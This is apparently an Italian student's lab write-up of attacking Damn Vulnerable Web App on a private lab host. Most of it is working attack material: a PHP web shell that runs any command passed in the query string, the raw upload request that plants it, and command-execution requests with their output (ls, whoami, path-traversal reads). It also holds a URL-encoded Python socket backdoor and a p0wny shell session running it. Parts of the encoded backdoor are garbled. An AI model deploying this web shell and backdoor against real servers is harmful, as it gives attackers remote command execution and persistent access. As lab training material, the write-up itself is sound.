

Codice phpshell

The screenshot shows a code editor window with a dark theme. The file is named "shellphp.php" and is located at "~/Desktop/Esercizi/Week6". The code itself is a simple PHP script that checks if a command is passed via GET, executes it using shell_exec, and outputs the result.

```
1 <?php
2 if (isset($_GET['cmd']))
3 {
4     $cmd = $_GET['cmd'];
5     echo '<pre>';
6     $result = shell_exec($cmd);
7     echo $result;
8     echo '</pre>';
9 }
10
11 ?>
```

Upload:

```
1 POST /dwa/vulnerabilities/upload/ HTTP/1.1
2 Host: 192.168.49.101
3 Content-Length: 538
4 Cache-Control: max-age=0
5 Upgrade-Insecure-Requests: 1
6 Origin: http://192.168.49.101
7 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryeljt6H05jop6Yz49
8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36
9 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
10 Referer: http://192.168.49.101/dwa/vulnerabilities/upload/
11 Accept-Encoding: gzip, deflate
12 Accept-Language: en-US,en;q=0.9
13 Cookie: security=high; PHPSESSID=70038e854ecde63ee454c91faaed16d5
14 Connection: close
15
16 -----WebKitFormBoundaryeljt6H05jop6Yz49
17 Content-Disposition: form-data; name="MAX_FILE_SIZE"
18
19 100000
20 -----WebKitFormBoundaryeljt6H05jop6Yz49
21 Content-Disposition: form-data; name="uploaded"; filename="shellphp.php"
22 Content-Type: application/x-php
23
24 <?php
25 if (isset($_GET['cmd']))
26 {
27     $cmd = $_GET['cmd'];
28     echo '<pre>';
29     $result = shell_exec($cmd);
30     echo $result;
31     echo '</pre>';
32 }
33
34 ?>
35
36 -----WebKitFormBoundaryeljt6H05jop6Yz49
37 Content-Disposition: form-data; name="Upload"
38
39 Upload
40 -----WebKitFormBoundaryeljt6H05jop6Yz49--
```



Provo a inviare un comando:

Pretty	Raw	Hex	
1 GET /dwa/hackable/uploads/shellphp.php?cmd=ls HTTP/1.1 2 Host: 192.168.49.101 3 Upgrade-Insecure-Requests: 1 4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36 5 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 6 Referer: http://192.168.49.101/dwa/vulnerabilities/upload/ 7 Accept-Encoding: gzip, deflate 8 Accept-Language: en-US,en;q=0.9 9 Cookie: security=low; PHPSESSID=78038e854ecde63ee454c91faaed16d5 10 Connection: close 11			

Risposta:

Pretty	Raw	Hex	Render
1 HTTP/1.1 200 OK 2 Date: Mon, 27 Feb 2023 14:27:30 GMT 3 Server: Apache/2.2.8 (Ubuntu) DAV/2 4 X-Powered-By: PHP/5.2.4-2ubuntu5.10 5 Connection: close 6 Content-Type: text/html 7 Content-Length: 39 8 9 <pre> dwva_email.png 10 shellphp.php 11 </pre>			

Faccio un po di prove:

GET /dwa/hackable/uploads/shellphp.php?cmd=ls%20 a HTTP/1.1 Host: 192.168.49.101 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://192.168.49.101/dwa/vulnerabilities/upload/ Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Cookie: security=low; PHPSESSID=78038e854ecde63ee454c91faaed16d5 Connection: close 1 <pre> . . dwva_email.png shellphp.php 2 </pre>

1 GET /dwa/hackable/uploads/shellphp.php?cmd=whoami HTTP/1.1 2 Host: 192.168.49.101 3 Upgrade-Insecure-Requests: 1 4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36 5 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 6 Referer: http://192.168.49.101/dwa/vulnerabilities/upload/ 7 Accept-Encoding: gzip, deflate 8 Accept-Language: en-US,en;q=0.9 9 Cookie: security=low; PHPSESSID=78038e854ecde63ee454c91faaed16d5 10 Connection: close 11 12 <pre> www-data </pre>

```

1 GET /dwa/hackable/uploads/shellphp.php?cmd=cat%20../../../../index.php HTTP/1.1
2 Host: 192.168.49.101
3 Upgrade-Insecure-Requests: 1
4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36
5 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
6 Referer: http://192.168.49.101/dwa/vulnerabilities/upload/
7 Accept-Encoding: gzip, deflate
8 Accept-Language: en-US,en;q=0.9
9 Cookie: security=low; PHPSESSID=78038e854ecde63ee454c91faaed16d5
10 Connection: close
11
12

```

Possiamo vedere come sono scritti i file php

```

<pre>
<?php

define( 'DWA_WEB_PAGE_TO_ROOT', '' );

require_once DWA_WEB_PAGE_TO_ROOT.'dwa/includes/dwaPage.inc.php';

dwaPageStartup( array( 'authenticated', 'phpids' ) );

$page = dwaPageNewGrab();

$page[ 'title' ] .= $page[ 'title_separator' ].'Welcome';

$page[ 'page_id' ] = 'home';

$page[ 'body' ] .= "

<div class=\"body_padded\">

<h1>
    Welcome to Damn Vulnerable Web App!
</h1>

<p>

```

Usando le indicazioni che abbiamo da DirBuster, potremmo cercare le pagine che ci interessano

http://192.168.49.101:80/dwa/				
① Scan Information \ Results - List View: Dirs: 13 Files: 6 \ Results - Tree View \ ⚠ Errors: 0 \				
Type	Found	Response	Size	
File	/dwa/index.php	302	335	▲
File	/dwa/login.php	200	1580	
File	/dwa/security.php	302	335	
Dir	/dwa/	302	333	
Dir	/dwa/index/	302	335	
Dir	/dwa/about/	302	335	
Dir	/dwa/login/	200	1580	
Dir	/dwa/security/	302	335	
Dir	/dwa/docs/	200	1089	
File	/dwa/about.php	302	335	
Dir	/	200	1096	
Dir	/dwa/dwa/	200	1593	
Dir	/dwa/dwa/images/	200	2221	
File	/dwa/docs/DVWA-Documentation.pdf	200	502936	▼

Current speed: 256 requests/sec (Select and right click for more options)

Per esempio

```
GET /dwa/hackable/uploads/shellphp.php?cmd=cat%20../../../../security.php HTTP/1.1
```

```

<pre>
<?php

define( 'DVWA_WEB_PAGE_TO_ROOT', '' );
require_once DVWA_WEB_PAGE_TO_ROOT.'dvwa/includes/dvwaPage.inc.php';

dvwaPageStartup( array( 'authenticated', 'phpids' ) );

$page = dvwaPageNewGrab();
$page[ 'title' ] .= $page[ 'title_separator' ].'DVWA Security';
$page[ 'page_id' ] = 'security';

$securityHtml = '';
if( isset( $_POST['seclev_submit'] ) ) {
$securityLevel = 'high';

switch( $_POST[ 'security' ] ) {
case 'low':
$securityLevel = 'low';
break;
case 'medium':
$securityLevel = 'medium';
break;
}

dvwaSecurityLevelSet( $securityLevel );
dvwaMessagePush( "Security level set to ($securityLevel)" );
dvwaPageReload();
}

if( isset( $_GET['phpids'] ) ) {
switch( $_GET[ 'phpids' ] ) {
case 'on':
dvwaPhpIdsEnabledSet( true );
dvwaMessagePush( "PHPIDS is now enabled" );
break;
case 'off':
dvwaPhpIdsEnabledSet( false );
dvwaMessagePush( "PHPIDS is now disabled" );
break;
}

}

```

Interessante capire come funziona il phpid

```

<h2>
    PHPIDS
</h2>

<p>
    .dvwaExternalLinkUrlGet( 'http://php-ids.org/', 'PHPIDS' )." v.".dvwaPhpIdsVersionGet()." (PHP-Intrusion Detection System) is a security layer for
    PHP based web applications.
</p>
<p>
    You can enable PHPIDS across this site for the duration of your session.
</p>

<p>
    {$phpIdsHtml}

```

Prove col PUT

```

1 PUT /dvwa/hackable/uploads/shellphp.txt HTTP/1.1
2 Host: 192.168.49.101
3 Upgrade-Insecure-Requests: 1
4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36
5 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
6 Accept-Encoding: gzip, deflate
7 Accept-Language: en-US,en;q=0.9
8 Cookie: security=low; PHPSESSID=78038e854ecde63ee454c91faed16d5
9 Connection: close
10 Content-Length: 4
11
12 ciao

```

```

1 HTTP/1.1 405 Method Not Allowed
2 Date: Mon, 27 Feb 2023 15:43:37 GMT
3 Server: Apache/2.2.8 (Ubuntu) DAV/2
4 Allow: GET,HEAD,POST,OPTIONS,TRACE
5 Content-Length: 340
6 Connection: close
7 Content-Type: text/html; charset=iso-8859-1
8
9 <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
10 <html>
11   <head>
12     <title>
13       405 Method Not Allowed
14     </title>
15   </head>
16   <body>
17     <h1>
18       Method Not Allowed
19     </h1>
20     <p>
21       The requested method PUT is not allowed for the URL /dvwa/hackable/uploads/shellphp.txt.
22     </p>
23     <hr>
24     <address>
25       Apache/2.2.8 (Ubuntu) DAV/2 Server at 192.168.49.101 Port 80
26     </address>
27   </body>
28 </html>

```

La uso per creare un file py

```

1 GET /dvwa/hackable/uploads/shellphp.php?cmd=
echo%20"import%20platform%2Cos%20%0%A%0D%0ASRV__ADDR+%3D+%22192.168.49.101%22%0D%0A%0D%0As+=%3D+socket.socket%28socket.AF_INET
2C+socket.SOCK_STREAM%29%0D%0As+bind%28%28SRV__PORT%29%0D%0As+listen%28%29%0D%0Aconnection%2C+address+=%3D+s+accept%28%29%0D%0A%0D%0Aprint%28
22Client+connected%3A+%22%2C+address%29%0D%0A%0D%0Awhile+1%3A%0D%0A%09try%3A%0D%0A%09data+=%3D+connection.recv%281024%29%0D%0A%09%09pack%2C+data.decode%2
8%27utf-8%27%29.split%28sep%3D%27%5Cr%27%29%0D%0A%0D%09%0D%0A%09except%3A+continue%0D%0A%09%0D%0A%09%09f%28pack%5B%5D+=%3D%3D+data.decode%2
+platform.platform%28%29%2B%2B+=%22%22%2B+platform.machine%28%29%0D%0A%09connection.sendall%28tosend.encode%28%29%29%0D%0A%09elif%28pack%5B%5D+=%3D%3D+=%27
%27%29%0D%0A%09data+=%3D+connection.recv%281024%29%0D%0A%09%09try%3A%0D%0A%09%09filelist+=%3D+os.listdir%28pack%5B1%5D%29%0D%0A%09%09%09tosend+=%3D+=%22%22
%0D%0A%09%09for+file in filelist%3A%0D%0A%09%09%09tosend+=%2B%3D+x%2C%22+=%22%20%0A%09%09%09except%3A%0D%0A%09%09%09tosend+=%3D+=%22%20Wrong+Path%
22%0D%0A%09%09connection.sendall%28tosend.encode%28%29%29%0D%0A%09elif%28pack%5B%5D+=%3D%3D+=%27%29%0D%0A%09%09connection.close%28%29%0D%0A%09connecti
on%2C+address+=%3D+s.accept%28%29%20+=%20Backdoor.py+HTTP/1.1
2 Host: 192.168.49.101
3 Upgrade-Insecure-Requests: 1
4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36
5 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
6 Referer: http://192.168.49.101/dvwa/vulnerabilities/upload/
7 Accept-Encoding: gzip, deflate
8 Accept-Language: en-US,en;q=0.9
9 Cookie: security=low; PHPSESSID=78038e854ecde63ee454c91faa6d16d5
10 Connection: close
11

```

Shell fatta meglio

```
p0wny@shell:~#          x  +
← → C Not secure | 192.168.49.101/dvwa/hackable/uploads/supershell.php
G ↲

miofile.txt
shellphp.php
supershell.php

p0wny@shell:~/hackable/uploads# python backdoor.py
  File "backdoor.py", line 3
    SRV_ADDR =
        ^
SyntaxError: invalid syntax

p0wny@shell:~/hackable/uploads# python3 backdoor.py
sh: python3: command not found

p0wny@shell:~/hackable/uploads# upload ./ /home/alessio/Desktop/Esercizi/Week3/Day2/myBackdoor.py
sh: upload: command not found

p0wny@shell:~/hackable/uploads# upload /home/alessio/Desktop/Esercizi/Week3/Day2/myBackdoor.py
sh: upload: command not found

p0wny@shell:~/hackable/uploads# upload myBackdoor.py
Done.

p0wny@shell:~/hackable/uploads# ls
backdoor.py
dvwa_email.png
miofile.txt
myBackdoor.py
shellphp.php
supershell.php

p0wny@shell:~/hackable/uploads# python myBackdoor.py
  File "myBackdoor.py", line 20
    if(pack[0] == '1')
        ^
SyntaxError: invalid syntax

p0wny@shell:~/hackable/uploads# upload myBackdoor.py
Done.

p0wny@shell:~/hackable/uploads# python myBackdoor.py

p0wny@shell:~/hackable/uploads#
```